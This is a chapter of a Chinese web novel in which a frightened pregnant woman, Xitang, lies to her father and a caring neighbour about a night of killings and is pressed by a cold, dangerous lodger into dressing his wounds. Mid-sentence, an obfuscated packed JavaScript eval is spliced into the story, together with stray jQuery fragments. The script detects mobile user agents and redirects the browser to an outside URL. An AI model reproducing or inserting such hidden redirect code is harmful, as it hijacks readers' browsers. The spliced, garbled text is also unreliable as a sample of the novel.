012
翌日,天光未大亮,薄雾还笼着院子。
溪棠睡得极不安稳,梦中尽是血腥与刀光,迷迷糊糊间,听见父亲压抑的咳嗽声,惊得睁眼。
她在主屋竹榻上卧了一夜,浑身骨头都僵痛着,小腹的坠胀感似乎和缓些,但心头那沉甸甸的惧意,随着渐亮的晨光一起愈发清晰。
宋南山也醒了,转头看见女儿面色苍白地坐在不远处的竹榻上,先是一愣,眉头便皱起来:“棠儿?你……怎么睡在这儿?夜里出了什么事了?”
溪棠心口一跳,连忙垂下眼帘,避开父亲探究的目光,声音还残留着初醒的沙哑:
“没、没什么事,阿爹。不过是……不过是昨夜听见您咳了几声,心里不踏实,过来瞧瞧。许是白日里乏了,不知怎地就……睡着了。”
欺骗爹爹,她满心都是难言的愧疚与不安。
可昨夜之事,如何能说?
说了,除了让爹爹担惊受怕,又能如何?
宋南山看着她眼下的青黑和唇上毫无血色的模样,沉默片刻。
女儿自小乖巧,却并不擅长扯谎,这般情态,分明是心里藏着极大的事。
“棠儿,你跟爹说实话。昨夜……是不是出了什么事?”
溪棠不敢与父亲对视,只垂眸盯着地板:“阿爹,您别多想,真没什么事。我就是……就是没睡好。”
宋南山长叹一声,没再追问,只道:“你脸色差得很,快去再歇歇,莫要累着了身子。”
“嗯,女儿晓得了。”
溪棠低声应了,不敢久留,怕父亲瞧出更多端倪。
她撑着发麻的腿脚起身,慢慢挪到门边,深吸一口气,才轻轻拉开主屋的门。
晨光熹微,带着凉意的空气涌进来。
昨夜那浓得化不开的血腥味,竟已消散得无影无踪。
那三具黑衣人的尸首,果然如沈淮所说,被“处置”干净了。
她屋前那扇被踹烂的木板门,已换成一块略显粗糙、大小也不甚合缝的新木板,草草钉在那里。
沈淮……他和他的人,到底是什么来头?
怎能将人命、将痕迹,抹除得这般轻易?
她站在主屋门口,半晌没动,直到冰凉的晨风穿透单薄的衣衫,激得她打了个哆嗦,才猛地回神。
不能站在这里发呆。
她用力掐了掐虎口,强迫自己迈开步子,先去灶间舀水,胡乱洗漱一番。
冷水拍在脸上,带来一丝短暂的清醒,却冲不掉心口那团堵着的浊气。
刚用布巾擦干脸,院门外便传来熟悉的脚步声,紧接着是陈枫压着声音的呼唤:“棠娘?棠娘你起了吗?”
溪棠手一抖,布巾险些掉进盆里。
她僵硬地转过身,看向院门方向,又下意识地、不受控制地,飞快瞥了一眼西屋。
西屋那扇门,不知何时已开了一道缝隙。
裴铎一身半旧青衫,神色淡漠地立在门内阴影中,并未完全走出,只一双深不见底的眼,隔着大半个院子,遥遥地、没什么情绪地,落在她身上。
溪棠心头一缩,几乎要喘不过气。
他在看。
他一直都在看着。
“棠娘?”陈枫又唤了一声,似乎有些焦急。
溪棠不敢再看西屋,指甲深深掐进掌心,努力稳了稳心神,才挪到院门后,费力地拔开门闩。
陈枫快步走进来,脸上带着明显的疑惑和担忧:“棠娘,你没事罢?我……”
他话说到一半,忽然顿住,摸了摸后脑,眉头拧得更紧,“说来奇怪,我今早醒来,竟是在自家院子里!我明明记得……昨夜好像听到你这边有动静,不放心,过来拍门问你……后来、后来怎么就……”
他眼神有些茫然,显然对昨夜自己如何晕倒、又如何回到自家院中毫无记忆。
溪棠只觉得那道来自西屋的视线,沉甸甸地压在她的后背上,让她背脊发凉。
她能想象出他此刻冷漠审视的眼神。
她喉咙发干,声音绷紧:“阿、阿枫哥,你是不是……是不是夜里睡迷糊了?或许……是发了‘离魂症’?我昨夜睡得沉,并未听见什么动静啊。”
“离魂症?”
陈枫一愣,随即摇头,“我从不曾有过这毛病!昨夜我分明听得真切,像是有什么东西砸了的声响,这才过来……”
“许是……许是夜猫野狗蹿过,碰倒了什么,阿枫哥你听见了,心里记挂,便起身想来查看。”
溪棠怕他继续深想,连忙打断,“人有时精神不济,偶尔也会生出些恍惚,自己起身做了些什么,醒后却记不真切。我、我爹以前行医时,也遇到过这样的病人,本来好好的,不知哪一日便有了夜游之症……阿枫哥你莫要多想,你看,我这不是好好的?”
自己确实毫无记忆……
难道真是做了场荒唐梦,甚至起了夜游?
陈枫张了张嘴,还想再问,可视线掠过溪棠隆起的小腹和她紧紧攥着衣角的手,终究是把话咽回去。
她脸色这么差,或许真是自己多事,反而吓着她了。
“……也许罢。”
陈枫叹了口气,语气软下来,目光里是掩不住的关切,“许是我真魇着了。只要你没事就好。你脸色很不好,可是身上不舒坦?还是宋叔……”
“我没事,爹爹也没事,只是夜里没歇好。”
溪棠连忙道,心里那根紧绷的弦稍稍松了,随之涌上的却是更深的愧疚。
阿枫哥是真心实意关心她,可她却在骗他,用谎言把他推得更远。
她垂下眼,不敢再看陈枫坦诚担忧的眼睛,只觉心头像是被什么堵着,又涩又疼。
陈枫见她不愿多说,也不便再追问,只道:“你没事便好。若是哪里不妥,定要告诉我。”
他说着,便挽起袖子,熟门熟路地走向水缸,“水缸快见底了,我去挑两桶水来。早饭用过了么?我帮你生火,熬点粥罢?宋叔的药是不是也该煎了?……”
他一连串地说着,手脚已然麻利地动起来,挑水、劈柴、生火……事事抢着做,目光总是不由自主地飘向溪棠。
西屋门内,裴铎将院中一切尽收眼底。
那青年笑容爽朗,与小妇人说话时,声音总会放柔几分,目光落在她身上时,专注明亮,带着毫不掩饰的倾慕与关切。
男人最懂男人的眼神。
那点心思,瞒得过谁?
山野村夫,倒是直白。
裴铎心底冷嗤。
看着青年围着那村妇打转,看着她因那青年的关切而微微放松的神色……
一股莫名的不豫之感,悄然盘踞心头。
这情绪来得突兀,只觉院中情景刺目。
他抬步,离开西屋。
溪棠正心神不宁地看着陈枫忙前忙后,一股熟悉的、带着药味与冷冽气息的压迫感自身侧传来。
她浑身一僵,缓慢地、极其艰难地转过头。
裴铎在她身侧不远处驻足:
“宋娘子。该换药了。”
溪棠愣住了,一时没反应过来。
换药?
他……他已多日不让她近身换药了。
昨夜那般激烈打斗,莫非添了新伤?
这念头才起,便被更汹涌的恐惧淹没。
她想起那日他掐住她脖颈的凶狠,想起红枣糕打翻时他眼中骇人的戾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480266|201698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气,更想起昨夜他杀人的漠然……
光是想到要踏入那间西屋……
溪棠就怕得手脚发软,嘴唇微微颤抖。
小腹那好不容易缓下去的隐痛,似乎又有复起的征兆。
陈枫也听到了裴铎的话,他虽在忙活,耳朵却一直留意着这边动静。
见溪棠脸色愈发难看,杵着不动。
他放下手中刚劈了一半的柴,顾不得多想,上前一步,身形微侧,将溪棠挡在身后,对着裴铎拱了拱手:“郎君要换药?这等小事,何须劳动棠娘。她怀着身子,行动不便。不如我来!我手脚还算麻利,包扎伤口这等事,也能做得。”
裴铎目光缓缓移到陈枫身上。
“不必。某不喜外人触碰。”
他略一停顿,视线重新落回那始终低垂着眼、面色苍白的溪棠身上,语气无波无澜:“宋娘子略通医理,换药包扎,想来更为细致妥帖。”
陈枫脸上的笑容淡下去。
前些时日这男人曾不慎打碎棠娘珍视的玉镯,害她黯然神伤许久,此刻又这般理所当然地使唤她,言语间听不出半分体谅……
瞧着也是一表人才,怎的性子这般不近人情?
陈枫心头对裴铎的不喜又增几分,便直直道:“棠娘她到底是妇道人家,又怀着身孕,气力精神难免不济。不若……我在一旁候着,搭把手?”
他说着,目光又忧切地掠过溪棠愈显惨淡的面色。
裴铎眉峰微蹙,眸光转冷,语气里已带上一丝不耐:“某之伤处,不便为外人所见。”
陈枫一时语塞,心里那股憋闷更甚。
都是男子汉,伤口有什么看不得?
这人简直莫名其妙,古里古怪!
他这般推三阻四,倒显得自己多事。
溪棠在旁听着,一颗心早已悬到嗓子眼,手心冷汗涔涔。
沈淮那双深潭般的眼眸正静静锁着她,里面无风无浪,却让她脊背生寒。
她看得出阿枫哥的不满,更看得懂裴铎眼中那不容违逆的冷意。
她怕,怕极了独自面对眼前这尊煞神,可她更怕陈枫因着维护她,与之发生冲突,招来祸端。
阿枫哥是热心肠,可眼前这个沈淮……那是真的会杀人的!
昨夜院中那三具顷刻毙命的尸首,还有阿枫哥无声无息倒在地上的情形犹在眼前,她不能再连累他。
“阿枫哥,”
眼见阿枫哥还要再说,溪棠心头一急,生怕惹恼裴铎,连忙抢在他前头开口,“没、没事的。不过是换药罢了,我能应付。……郎君既不喜旁人在侧,便……便由我来罢。你去看看我爹可好?他方才醒了,或许要人伺候汤药。”
陈枫见溪棠眼中满是恳求,心头微软,也知再争下去只怕让她更为难。
“那……成罢。”
他挠了挠头,对溪棠郑重道,“棠娘,你自己小心些,若有任何不适,定要喊我,我就在宋叔屋里,立刻就能过来。”
又转向裴铎,语气疏离,“这位郎君,棠娘身子不便,还请多多担待。”
说罢,不再多言,转身大步朝主屋走去。
院子里,一时只剩他们二人。
晨光渐亮,也驱不散溪棠心头盘踞的浓浓阴霾。
她静静立在原地,目光垂落在自己鞋尖前方寸之地。
男人的视线仍停在自己身上,凉飕飕的。
她不知道他到底想做什么。
昨夜之事后,她对他只有无尽的畏怯。
可她能拒绝吗?
她不敢。
拒绝的后果,她承受不起……爹爹和阿枫哥更承受不起。
双腿像灌了铅,怎么也挪不动。